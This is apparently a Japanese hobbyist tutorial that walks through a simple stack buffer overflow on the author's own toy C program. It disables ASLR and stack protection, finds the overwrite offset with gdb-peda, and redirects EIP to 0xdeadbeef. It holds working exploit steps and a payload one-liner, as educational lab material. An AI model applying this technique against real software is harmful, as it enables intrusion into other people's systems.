簡単なバッファオーバーフローでEIPを奪う
EIPを奪うところまでやってみる。
環境
$ uname -a Linux backbox 3.19.0-56-generic #62~14.04.1-Ubuntu SMP Fri Mar 11 11:03:15 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux $ gcc --version gcc (Ubuntu 4.8.4-2ubuntu1~14.04.1) 4.8.4
gdbはpeda入れて使う。
ASLRをOFF OFF
今回は簡単にやるという方針なのでASLRを切る。
ASLRとはプログラムを実行する際に使用するメモリのアドレスをランダム化する機能で、これにより攻撃者はメモリアドレスの推測が難しくなる。
要はどこに何があるのかわからない状態で攻撃するなんて難しいよねと言った話だ。
$ sudo sysctl -w kernel.randomize_va_space=0
このコマンドを入力するとASLRがオフになる。
終わったら危ないので元に戻そう。
脆弱なプログラムで遊ぶ
コマンドライン引数を受け取ってそれをnameに入れ表示するプログラムだ。
問題は引数に入れる文字列を検査していないこと。
nameはchar 10個分の大きさしかないがそれを超えてコピーできてしまう。
早速10以上の値を与えてどうなるか見てみよう。
と、その前にコンパイルをしなければならないけどStack Smash Protectionという保護機能も切りたいのでコンパイル時にそのオプション"-fno-stack-protector"を付けよう。
$ gcc -m32 -fno-stack-protector geteip.c
これでコンパイルできたはずだ。
64bit環境でコンパイルすると32bit向けのライブラリを入れないとうまくいかないなんて事があるので、その時はエラー文でググろう。
では作ったバイナリをgdbで中身を見てみよう。
$ gdb a.out Reading symbols from a.out...(no debugging symbols found)...done. gdb-peda$ pdisas main Dump of assembler code for function main: 0x080484ad <+0>: push ebp 0x080484ae <+1>: mov ebp,esp 0x080484b0 <+3>: and esp,0xfffffff0 0x080484b3 <+6>: sub esp,0x20 0x080484b6 <+9>: cmp DWORD PTR [ebp+0x8],0x2 0x080484ba <+13>: je 0x80484dd <main+48> 0x080484bc <+15>: mov eax,DWORD PTR [ebp+0xc] 0x080484bf <+18>: mov eax,DWORD PTR [eax] 0x080484c1 <+20>: mov DWORD PTR [esp+0x4],eax 0x080484c5 <+24>: mov DWORD PTR [esp],0x80485a0 0x080484cc <+31>: call 0x8048350 <printf@plt> 0x080484d1 <+36>: mov DWORD PTR [esp],0x1 0x080484d8 <+43>: call 0x8048390 <exit@plt> 0x080484dd <+48>: mov eax,DWORD PTR [ebp+0xc] 0x080484e0 <+51>: add eax,0x4 0x080484e3 <+54>: mov eax,DWORD PTR [eax] 0x080484e5 <+56>: mov DWORD PTR [esp+0x4],eax 0x080484e9 <+60>: lea eax,[esp+0x16] 0x080484ed <+64>: mov DWORD PTR [esp],eax 0x080484f0 <+67>: call 0x8048360 <strcpy@plt> 0x080484f5 <+72>: lea eax,[esp+0x16] 0x080484f9 <+76>: mov DWORD PTR [esp],eax 0x080484fc <+79>: call 0x8048370 <puts@plt> 0x08048501 <+84>: mov eax,0x0 0x08048506 <+89>: leave 0x08048507 <+90>: ret End of assembler dump.
ん、そうですねって感じ。
とりあえずパターン作って投げてみよう。
gdb-peda$ pattern_arg 200 Set 1 arguments to program gdb-peda$ r Starting program: /tmp/a.out 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA' AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA Program received signal SIGSEGV, Segmentation fault.
落ちたな。
レジスタの中身を見てみよう。
瞬き禁止でご注目。
gdb-peda$ xinfo register EAX: 0x0 EBX: 0xf7fb4000 --> 0x1a9da8 ECX: 0xf7fd5000 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA"...) EDX: 0xf7fb5898 --> 0x0 ESI: 0x0 EDI: 0x0 EBP: 0x2d414143 ('CAA-') ESP: 0xffffd1c0 ("ADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA") EIP: 0x41284141 ('AA(A') EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
EIPの値が変わっている。
ここでEIPが拾いにいったアドレスとオーバーフローを起こしたアドレスがどのくらい離れているか見てみる。
gdb-peda$ pattern offset 0x41284141 1093157185 found at offset: 22
どうやら22バイト離れているようだ。
22バイト適当に埋めてその先にアドレスを書けばEIP奪えるみたいなので試しに0xdeadbeefが入るかテストしてみる。
gdb-peda$ set args $(python -c 'print "A"*22 + "\xef\xbe\xad\xde"') gdb-peda$ r Starting program: /tmp/a.out $(python -c 'print "A"*22 + "\xef\xbe\xad\xde"') AAAAAAAAAAAAAAAAAAAAAAᆳ Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0xf7fb4000 --> 0x1a9da8 ECX: 0xf7fd5000 ('A' <repeats 22 times>, "ᆳ\336\n") EDX: 0xf7fb5898 --> 0x0 ESI: 0x0 EDI: 0x0 EBP: 0x41414141 ('AAAA') ESP: 0xffffd270 --> 0x0 EIP: 0xdeadbeef EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0xdeadbeef
EIPの値が0xdeadbeefになっている、うまくいったようだ。
まとめ
今回はEIPの値を書き換えるところまでやった。
本当はもっと先のこととか書いたほうが良さそうだけど、それはまた今度。
使っていて思ったんだけどpeda便利すぎでしょコレ